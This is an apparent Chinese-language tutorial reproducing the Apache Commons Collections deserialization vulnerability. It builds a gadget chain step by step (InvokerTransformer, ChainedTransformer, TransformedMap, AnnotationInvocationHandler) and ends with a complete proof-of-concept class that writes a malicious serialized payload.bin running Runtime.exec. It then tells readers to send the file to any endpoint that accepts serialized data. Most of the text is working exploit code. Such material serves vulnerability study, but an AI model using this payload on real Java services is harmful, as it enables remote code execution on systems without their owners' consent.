Java Apache Collections类漏洞
在15年Apache Commons Collections(ACC)被两位黑客爆出存在反序列化漏洞
,由于Apache下的其他框架也免不了大量使用像List、Map、Set等Collection类,因此该漏洞覆盖范围非常之大。并且通过此漏洞可以执行任意操作,也是当年最危险的漏洞之一。
漏洞复现环境
JDK7
Apache Commons Collections 3.2.1之前的所有版本
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
复现过程
- InvokeTransformer
此Java类的作用是利用反射机制来创建实例
主要运用到其中的transform()方法:通过反射进行任意函数的调用。
复现第一阶段
//通过反射调用弹出计算器的函数
public class Stage1 {
public static void main(String[] args) {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"Calc.exe"}
);
try {
// Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
Object input = Runtime.getRuntime();
invokerTransformer.transform(input);
}catch (Exception e){
e.printStackTrace();
}
}
}
InvokeTransformer的transform方法
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
- ConstantTransformer
此类的作用十分简单,返回构造函数传入类的对象。复现漏洞中通过该类返回一个Runtime类
//ConstantTransformer类中运用到的主要代码
public class ConstantTransformer implements Transformer, Serializable {
private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
}
- ChainedTransformer
此类的作用是实现Transformer的链式调用,通过传入Transformer数组依次执行transfom()方法。(Transformer为这几个关键类的接口。)
复现第二阶段
//通过ChainedTransformer链式调用,实现InvokeTransformer中transfom()方法的自动触发
public class Stage2 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
// 获得Runtime类对象
new ConstantTransformer(Runtime.class),
// 传入Runtime类对象 反射执行getMethod获得getRuntime方法
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}
),
// 传入getRuntime方法 反射执行invoke方法 得到Runtime实例
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, null }
),
// 传入Runtime实例 执行exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"Calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);
}
}
ChainedTransformer中的transfom()方法
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
到这为止实现了函数的自动触发,但所有的操作都是本地的。炸弹已经准备好了要靠什么来引爆呢,总不能在本地手动点吧。黑客在ACC中又找到了两个类,通过这两个类的配合在反序列化的过程中可以远程执行触发函数。
- TransformedMap
这个类继承了AbstractInputCheckedMapDecorator类,从英文大致看出是对Map输入进行检查的类。在当Map里面的元素变动(CUD)时候,自动调用Transformer对象的transform()方法。
那么思路很清晰了通过decorate()构造TransformedMap,传入之前的ChainedTransformer和一个任意的map,只要我们在一个过程中可以改变传入map的值就成功了。
//TransformedMap漏洞复现主要方法
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
private static final long serialVersionUID = 7023152376788900464L;
protected final Transformer keyTransformer;
protected final Transformer valueTransformer;
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
}
复现第三阶段
public class Stage3 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}
),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, null }
),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"Calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//新加代码
Map innermap = new HashMap();
innermap.put("value","value");
Map outermap = TransformedMap.decorate(innermap,null,chainedTransformer);
}
}
- AnnotationInvocationHandler
这个类就是复现漏洞的最后一块拼图了,它重写了readObject反序列化方法,因此在反序列化的时候会自动执行readObject方法。在readObject中会通过setValue改变传入的map,从而触发TransformedMap。整个的作用链形成了。
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
最终阶段
public class Poc {
public static void main(String[] args) {
try {
Transformer[] transformers = new Transformer[]{
// 获得Runtime类对象
new ConstantTransformer(Runtime.class),
// 传入Runtime类对象 反射执行getMethod获得getRuntime方法
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
// 传入getRuntime方法对象 反射执行invoke方法 得到Runtime实例
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
// 传入Runtime实例 执行exec方法
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value", "value");
Map outermap = TransformedMap.decorate(innermap, null, chainedTransformer);
// 构造包含恶意map的AnnotationInvocationHandler对象
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cst = cl.getDeclaredConstructor(Class.class, Map.class);
cst.setAccessible(true);
Object exploitObj = cst.newInstance(Target.class, outermap);
// 序列化
FileOutputStream fos = new FileOutputStream("payload.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(exploitObj);
oos.close();
// 反序列化(实现过程)
FileInputStream fis = new FileInputStream("payload.bin");
ObjectInputStream ois = new ObjectInputStream(fis);
Object result = ois.readObject();
ois.close();
System.out.println(result);
} catch (Exception e) {
e.printStackTrace();
}
}
}
运行后会生成payload.bin文件在本地
接下来只需找到传输序列化数据的接口,使用生成的恶意序列化数据即可。
本文含有隐藏内容,请 开通VIP 后查看